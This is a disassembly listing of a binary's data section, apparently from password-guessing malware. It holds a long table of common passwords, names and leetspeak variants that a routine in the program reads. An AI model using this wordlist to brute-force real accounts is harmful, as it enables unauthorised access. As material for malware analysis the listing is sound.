		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
; ---------------------------------------------------------------------------
		mov	esp, 640042BAh
		jmp	short loc_42A901
; ---------------------------------------------------------------------------
		align 10h
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		db 10h
; ---------------------------------------------------------------------------

loc_42A901:				; CODE XREF: ___:0042A8BDj
		mov	edx, 0BA080042h
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
; ---------------------------------------------------------------------------
		pop	esp
		jmp	short loc_42A9B9
; ---------------------------------------------------------------------------
		align 4
		sbb	[ecx-46EFFFBEh], bh
		inc	edx
		add	[eax], cl
		mov	ecx, 0B9000042h
		inc	edx
		add	al, bh
		mov	eax, 0B8F00042h
		inc	edx
		add	ah, ah
		mov	eax, 0B8DC0042h
		inc	edx
		add	al, dl
		mov	eax, 0B8C80042h
		inc	edx
		add	al, al
		mov	eax, 0B8B40042h
		inc	edx
		add	[eax-5FFFBD48h], ch
		mov	eax, 0B8980042h
		inc	edx
		add	[eax-7BFFBD48h], dl

loc_42A9B9:				; CODE XREF: ___:0042A975j
		mov	eax, 0B87C0042h
		inc	edx
		add	[eax+edi*4+42h], dh
		add	[eax-48h], ch
		inc	edx
		add	[eax-48h], ah
		inc	edx
		add	[eax-48h], bl
		inc	edx
		add	[eax-48h], dl
		inc	edx
		add	[eax-48h], cl
		inc	edx
		add	[eax-48h], al
		inc	edx
		add	[eax], bh
		mov	eax, 0B8300042h
		inc	edx
		add	[eax], ch
		mov	eax, 0B81C0042h
		inc	edx
		add	[eax+edi*4], dl
		inc	edx
		add	[eax], cl
		mov	eax, 0B7FC0042h
		inc	edx
		add	ah, dh
		mov	bh, 42h
		add	ah, ch
		mov	bh, 42h
		add	ah, ah
		mov	bh, 42h
		add	ah, bl
		mov	bh, 42h
		add	ah, dl
		mov	bh, 42h
		add	ah, cl
		mov	bh, 42h
		add	al, al
		mov	bh, 42h
		add	[eax-53FFBD49h], bh
		mov	bh, 42h
		add	[edi+esi*4-4863FFBEh], ah
		inc	edx
		add	[edi+esi*4-4873FFBEh], dl
		inc	edx
		add	[edi+esi*4-4887FFBEh], al
		inc	edx
		add	[eax-49h], dh
		inc	edx
		add	[eax-49h], ch
		inc	edx
		add	[eax-49h], ah
		inc	edx
		add	[eax-49h], bl
		inc	edx
		add	[eax-49h], dl
		inc	edx
		add	[eax-49h], cl
		inc	edx
		add	[eax-49h], al
		inc	edx
		add	[eax], bh
		mov	bh, 42h
		add	[eax], dh
		mov	bh, 42h
		add	[eax], ch
		mov	bh, 42h
		add	[eax], ah
		mov	bh, 42h
		add	[eax], bl
		mov	bh, 42h
		add	[eax], dl
		mov	bh, 42h
		add	[eax], cl
		mov	bh, 42h
		add	ah, bh
		mov	dh, 42h
		add	al, dh
		mov	dh, 42h
		add	ah, ah
		mov	dh, 42h
		add	ah, bl
		mov	dh, 42h
		add	ah, dl
		mov	dh, 42h
		add	ah, cl
		mov	dh, 42h
		add	ah, al
		mov	dh, 42h
		add	[esi+esi*4-494BFFBEh], bh
		inc	edx
		add	[esi+esi*4-495FFFBEh], ch
		inc	edx
		add	[esi+esi*4-4973FFBEh], dl
		inc	edx
		add	[esi+esi*4-4983FFBEh], al
		inc	edx
		add	[esi+esi*4+42h], dh
		add	[esi+esi*4+42h], ch
		add	[esi+esi*4+42h], ah
		add	[esi+esi*4+42h], bl
		add	[esi+esi*4+42h], dl
		add	[esi+esi*4+42h], cl
		add	[eax-4Ah], al
		inc	edx
		add	[eax], bh
		mov	dh, 42h
		add	[eax], dh
		mov	dh, 42h
		add	[eax], ch
		mov	dh, 42h
		add	[eax], ah
		mov	dh, 42h
		add	[esi+esi*4], dl
		inc	edx
		add	[esi+esi*4], cl
		inc	edx
		add	[esi+esi*4], al
		inc	edx
		add	al, bh
		mov	ch, 42h
		add	al, dh
		mov	ch, 42h
		add	al, ch
		mov	ch, 42h
		add	al, ah
		mov	ch, 42h
		add	ah, dl
		mov	ch, 42h
		add	ah, cl
		mov	ch, 42h
		add	ah, al
		mov	ch, 42h
		add	[ebp+esi*4-4A4BFFBEh], bh
		inc	edx
		add	[ebp+esi*4-4A5FFFBEh], ch
		inc	edx
		add	[eax-6FFFBD4Bh], bl
		mov	ch, 42h
		add	[eax+7C0042B5h], cl
		mov	ch, 42h
		add	[ebp+esi*4+42h], dh
		add	[ebp+esi*4+42h], ch
		add	[ebp+esi*4+42h], ah
		add	[eax-4Bh], bl
		inc	edx
		add	[eax-4Bh], dl
		inc	edx
		add	[eax-4Bh], cl
		inc	edx
		add	[eax-4Bh], al
		inc	edx
		add	[eax], bh
		mov	ch, 42h
		add	[eax], dh
		mov	ch, 42h
		add	ds:0B51C0042h[esi*4], ah
		inc	edx
		add	ds:0B5080042h[esi*4], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_4429D8
		dd 0
dword_42AE54	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: ___:0042AE48o
		align 4
aZap		db 'zap',0              ; DATA XREF: ___:0042AE44o
aYellowstone	db 'yellowstone',0      ; DATA XREF: ___:0042AE40o
aXyz		db 'xyz',0              ; DATA XREF: ___:0042AE3Co
aWisconsin	db 'wisconsin',0        ; DATA XREF: ___:0042AE38o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: ___:0042AE34o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: ___:0042AE30o
		align 10h
aTty		db 'tty',0              ; DATA XREF: ___:0042AE2Co
aTopography	db 'topography',0       ; DATA XREF: ___:0042AE28o
		align 10h
aTemptation	db 'temptation',0       ; DATA XREF: ___:0042AE24o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: ___:0042AE20o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: ___:0042AE1Co
		align 4
aSys		db 'sys',0              ; DATA XREF: ___:0042AE18o
aSupported	db 'supported',0        ; DATA XREF: ___:0042AE14o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: ___:0042AE10o
		align 10h
aSuperstage	db 'superstage',0       ; DATA XREF: ___:0042AE0Co
		align 4
aSun		db 'sun',0              ; DATA XREF: ___:0042AE08o
aStuttgart	db 'stuttgart',0        ; DATA XREF: ___:0042AE04o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: ___:0042AE00o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: ___:0042ADFCo
		align 4
aSignature	db 'signature',0        ; DATA XREF: ___:0042ADF8o
		align 10h
aSheffield	db 'sheffield',0        ; DATA XREF: ___:0042ADF4o
		align 4
aSal		db 'sal',0              ; DATA XREF: ___:0042ADF0o
aRochester	db 'rochester',0        ; DATA XREF: ___:0042ADECo
		align 4
aRje		db 'rje',0              ; DATA XREF: ___:0042ADE8o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: ___:0042ADE4o
		align 10h
aPub		db 'pub',0              ; DATA XREF: ___:0042ADE0o
aProfessor	db 'professor',0        ; DATA XREF: ___:0042ADDCo
		align 10h
aPrinceton	db 'princeton',0        ; DATA XREF: ___:0042ADD8o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: ___:0042ADD4o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: ___:0042ADD0o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: ___:0042ADCCo
		align 10h
aPercolate	db 'percolate',0        ; DATA XREF: ___:0042ADC8o
		align 4
aPam		db 'pam',0              ; DATA XREF: ___:0042ADC4o
aPad		db 'pad',0              ; DATA XREF: ___:0042ADC0o
aOceanography	db 'oceanography',0     ; DATA XREF: ___:0042ADBCo
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: ___:0042ADB8o
		align 10h
aNew		db 'new',0              ; DATA XREF: ___:0042ADB4o
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
					; ___:0042ADB0o
aMit		db 'mit',0              ; DATA XREF: ___:0042ADACo
aMgr		db 'mgr',0              ; DATA XREF: ___:0042ADA8o
aMacintosh	db 'macintosh',0        ; DATA XREF: ___:0042ADA4o
		align 4
aLiz		db 'liz',0              ; DATA XREF: ___:0042ADA0o
aLee		db 'lee',0              ; DATA XREF: ___:0042AD9Co
aLamination	db 'lamination',0       ; DATA XREF: ___:0042AD98o
		align 10h
aKim		db 'kim',0              ; DATA XREF: ___:0042AD94o
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
					; ___:0042AD90o
aJoy		db 'joy',0              ; DATA XREF: ___:0042AD8Co
aJen		db 'jen',0              ; DATA XREF: ___:0042AD88o
aInnocuous	db 'innocuous',0        ; DATA XREF: ___:0042AD84o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: ___:0042AD80o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042AD7Co
aHappening	db 'happening',0        ; DATA XREF: ___:0042AD78o
		align 4
aHal		db 'hal',0              ; DATA XREF: ___:0042AD74o
aGnu		db 'gnu',0              ; DATA XREF: ___:0042AD70o
aFun		db 'fun',0              ; DATA XREF: ___:0042AD6Co
aForesight	db 'foresight',0        ; DATA XREF: ___:0042AD68o
		align 10h
aFoolproof	db 'foolproof',0        ; DATA XREF: ___:0042AD64o
		align 4
aExtension	db 'extension',0        ; DATA XREF: ___:0042AD60o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: ___:0042AD5Co
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: ___:0042AD58o
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: ___:0042AD54o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: ___:0042AD50o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: ___:0042AD4Co
		align 4
aDos		db 'dos',0              ; DATA XREF: ___:0042AD48o
aDog		db 'dog',0              ; DATA XREF: ___:0042AD44o
aDiscovery	db 'discovery',0        ; DATA XREF: ___:0042AD40o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: ___:0042AD3Co
		align 4
aDeb		db 'deb',0              ; DATA XREF: ___:0042AD38o
aCornelius	db 'cornelius',0        ; DATA XREF: ___:0042AD34o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: ___:0042AD30o
		align 10h
aChristine	db 'christine',0        ; DATA XREF: ___:0042AD2Co
		align 4
aChristina	db 'christina',0        ; DATA XREF: ___:0042AD28o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: ___:0042AD24o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: ___:0042AD20o
		align 10h
aCat		db 'cat',0              ; DATA XREF: ___:0042AD1Co
aCampanile	db 'campanile',0        ; DATA XREF: ___:0042AD18o
		align 10h
aCad		db 'cad',0              ; DATA XREF: ___:0042AD14o
aBsd		db 'bsd',0              ; DATA XREF: ___:0042AD10o
aBob		db 'bob',0              ; DATA XREF: ___:0042AD0Co
aBicameral	db 'bicameral',0        ; DATA XREF: ___:0042AD08o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: ___:0042AD04o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: ___:0042AD00o
		align 10h
aAsm		db 'asm',0              ; DATA XREF: ___:0042ACFCo
aAsd		db 'asd',0              ; DATA XREF: ___:0042ACF8o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: ___:0042ACF4o
		align 4
aAnn		db 'ann',0              ; DATA XREF: ___:0042ACF0o
aAndromache	db 'andromache',0       ; DATA XREF: ___:0042ACECo
		align 4
aAmy		db 'amy',0              ; DATA XREF: ___:0042ACE8o
aAmorphous	db 'amorphous',0        ; DATA XREF: ___:0042ACE4o
		align 4
aAma		db 'ama',0              ; DATA XREF: ___:0042ACE0o
aAlf		db 'alf',0              ; DATA XREF: ___:0042ACDCo
aAlbatross	db 'albatross',0        ; DATA XREF: ___:0042ACD8o
		align 4
aAda		db 'ada',0              ; DATA XREF: ___:0042ACD4o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: ___:0042ACD0o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: ___:0042ACCCo
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: ___:0042ACC8o
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: ___:0042ACC4o
		align 4
aHax		db 'hax',0              ; DATA XREF: ___:0042ACC0o
aWh0re		db 'wh0re',0            ; DATA XREF: ___:0042ACBCo
		align 4
aHo		db 'ho',0               ; DATA XREF: ___:0042ACB8o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: ___:0042ACB4o
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: ___:0042ACB0o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: ___:0042ACACo
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: ___:0042ACA8o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: ___:0042ACA4o
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: ___:0042ACA0o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: ___:0042AC9Co
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: ___:0042AC98o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: ___:0042AC94o
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: ___:0042AC90o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: ___:0042AC8Co
		align 4
aMs		db 'MS',0               ; DATA XREF: ___:0042AC88o
		align 4
aM_0		db 'M$',0               ; DATA XREF: ___:0042AC84o
		align 10h
aBilly		db 'billy',0            ; DATA XREF: ___:0042AC80o
		align 4
aWindose	db 'windose',0          ; DATA XREF: ___:0042AC7Co
aWindoze	db 'windoze',0          ; DATA XREF: ___:0042AC78o
aWindowz	db 'windowz',0          ; DATA XREF: ___:0042AC74o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: ___:0042AC70o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: ___:0042AC6Co
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: ___:0042AC68o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: ___:0042AC64o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: ___:0042AC60o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: ___:0042AC5Co
aD00d		db 'd00d',0             ; DATA XREF: ___:0042AC58o
		align 4
aLol		db 'lol',0              ; DATA XREF: ___:0042AC54o
					; ___:0043D958o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: ___:0042AC50o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: ___:0042AC4Co
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: ___:0042AC48o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: ___:0042AC44o
		align 10h
aTestin		db 'testin',0           ; DATA XREF: ___:0042AC40o
		align 4
aTester		db 'tester',0           ; DATA XREF: ___:0042AC3Co
		align 10h
a00000000	db '00000000',0         ; DATA XREF: ___:0042AC38o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: ___:0042AC34o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: ___:0042AC30o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: ___:0042AC2Co
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: ___:0042AC28o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: ___:0042AC24o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: ___:0042AC20o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: ___:0042AC1Co
		align 4
aYoung		db 'young',0            ; DATA XREF: ___:0042AC18o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: ___:0042AC14o
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: ___:0042AC10o
aYellowst	db 'yellowst',0         ; DATA XREF: ___:0042AC0Co
		align 4
aYellow		db 'yellow',0           ; DATA XREF: ___:0042AC08o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: ___:0042AC04o
		align 4
aYang		db 'yang',0             ; DATA XREF: ___:0042AC00o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: ___:0042ABFCo
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: ___:0042ABF8o
		align 4
aXray		db 'xray',0             ; DATA XREF: ___:0042ABF4o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: ___:0042ABF0o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: ___:0042ABECo
		align 4
aXman		db 'xman',0             ; DATA XREF: ___:0042ABE8o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: ___:0042ABE4o
		align 4
aXena		db 'xena',0             ; DATA XREF: ___:0042ABE0o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: ___:0042ABDCo
aWwii		db 'wwii',0             ; DATA XREF: ___:0042ABD8o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: ___:0042ABD4o
